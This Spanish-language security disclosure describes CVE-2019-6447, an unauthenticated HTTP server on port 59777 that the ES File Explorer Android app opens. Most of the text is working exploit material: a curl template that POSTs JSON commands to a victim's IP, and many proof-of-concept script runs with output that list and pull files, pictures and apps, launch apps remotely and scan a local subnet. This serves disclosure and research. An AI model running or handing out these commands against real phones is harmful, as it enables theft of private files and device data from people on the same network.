
Vulnerabilidad de Puerto Abierto en ES File Explorer - CVE-2019-6447
Según su descripción en Google Play:
ES File Explorer (File Manager) es un administrador de archivos (imágenes, música, películas, documentos, aplicaciones) con todas las funciones, tanto para uso local como en red! Con más de 500 millones de usuarios en todo el mundo, ES File Explorer (File Manager) ayuda a gestionar tu teléfono Android y tus archivos de forma eficiente y eficaz, y a compartir archivos sin coste de datos.
Cada vez que un usuario abre la aplicación, se inicia un servidor HTTP. Este servidor abre localmente el puerto 59777:
angler:/ # netstat -ap | grep com.estrongs
tcp6 0 0 :::59777 :::* LISTEN 5696/com.estrongs.android.pop
En este puerto, un atacante puede enviar un payload JSON al objetivo
curl --header "Content-Type: application/json" --request POST --data '{"command":"[my_awesome_cmd]"}' http://192.168.0.8:59777
Estos comandos permiten a un atacante conectado a la misma red local que la víctima obtener mucha información jugosa (información del dispositivo, aplicaciones instaladas, ...) sobre el teléfono de la víctima, obtener un archivo de forma remota del teléfono de la víctima y lanzar una aplicación de forma remota en el teléfono de la víctima.
4.1.9.7.4 y anteriores
Con el siguiente Proof Of Concept (POC), puedes:
$ python poc.py -g /sdcard/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg
$ python poc.py --cmd appPull --pkg com.tencent.mm
$ python poc.py --cmd getAppThumbnail --pkg com.tencent.mm
$ python poc.py --cmd appLaunch --pkg com.tencent.mm
{"result":"0"}
$ python poc.py --cmd getDeviceInfo
{"name":"Nexus 6P", "ftpRoot":"/sdcard", "ftpPort":"3721"}
$ python poc.py --cmd listAppsAll
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"},
{"packageName":"com.android.cts.priv.ctsshim", "label":"com.android.cts.priv.ctsshim", "version":"8.1.0-4396705", "versionCode":"27", "location":"/system/priv-app/CtsShimPrivPrebuilt/CtsShimPrivPrebuilt.apk", "size":"22744", "status":"null", "mTime":"1230796800000"}
$ python poc.py --cmd listAppsPhone
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}
$ python poc.py --cmd listAppsSystem
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}
$ python poc.py --cmd listApps
{"packageName":"com.google.android.youtube", "label":"YouTube", "version":"13.50.52", "versionCode":"1350523400", "location":"/data/app/com.google.android.youtube-hg9X1FaylPbUXO1SaiFtkg==/base.apk", "size":"36860368", "status":"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent", "mTime":"1545337705957"}
$ python poc.py --cmd listAppsSdcard
$ python poc.py --cmd listAudios
{"name":"hangouts_incoming_call.ogg", "time":"10/17/18 11:33:16 PM", "location":"/storage/emulated/0/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg", "duration":5000, "size":"74.63 KB (76,425 Bytes)", }
$ python poc.py --cmd listPics
{"name":"mmexport1546422097497.jpg", "time":"1/2/19 10:41:37 AM", "location":"/storage/emulated/0/tencent/MicroMsg/WeChat/mmexport1546422097497.jpg", "size":"38.80 KB (39,734 Bytes)", }
$ python poc.py --cmd listVideos
$ python poc.py --cmd listFiles
$ python poc.py --cmd listFiles --network 192.168.1.
$ python poc.py --cmd listFiles --ip 192.168.4.17
$ python poc.py list
######################
# Available Commands #
######################
listFiles: List all the files
listPics: List all the pictures
listVideos: List all the videos
listAudios: List all the audio files
listApps: List all the apps installed
listAppsSystem: List all the system apps
listAppsPhone: List all the phone apps
listAppsSdcard: List all the apk files in the sdcard
listAppsAll: List all the apps installed (system apps included)
getDeviceInfo: Get device info
appPull: Pull an app from the device. Package name parameter is needed
appLaunch: Launch an app. Package name parameter is needed
getAppThumbnail: Get the icon of an app. Package name parameter is needed
¡Sígueme en Twitter! También puedes encontrar una pequeña parte de mi trabajo en https://fs0c131y.com
Siguiendo un consejo de @moonbocal, la investigación y el POC se han realizado con ❤️ por @fs0c131y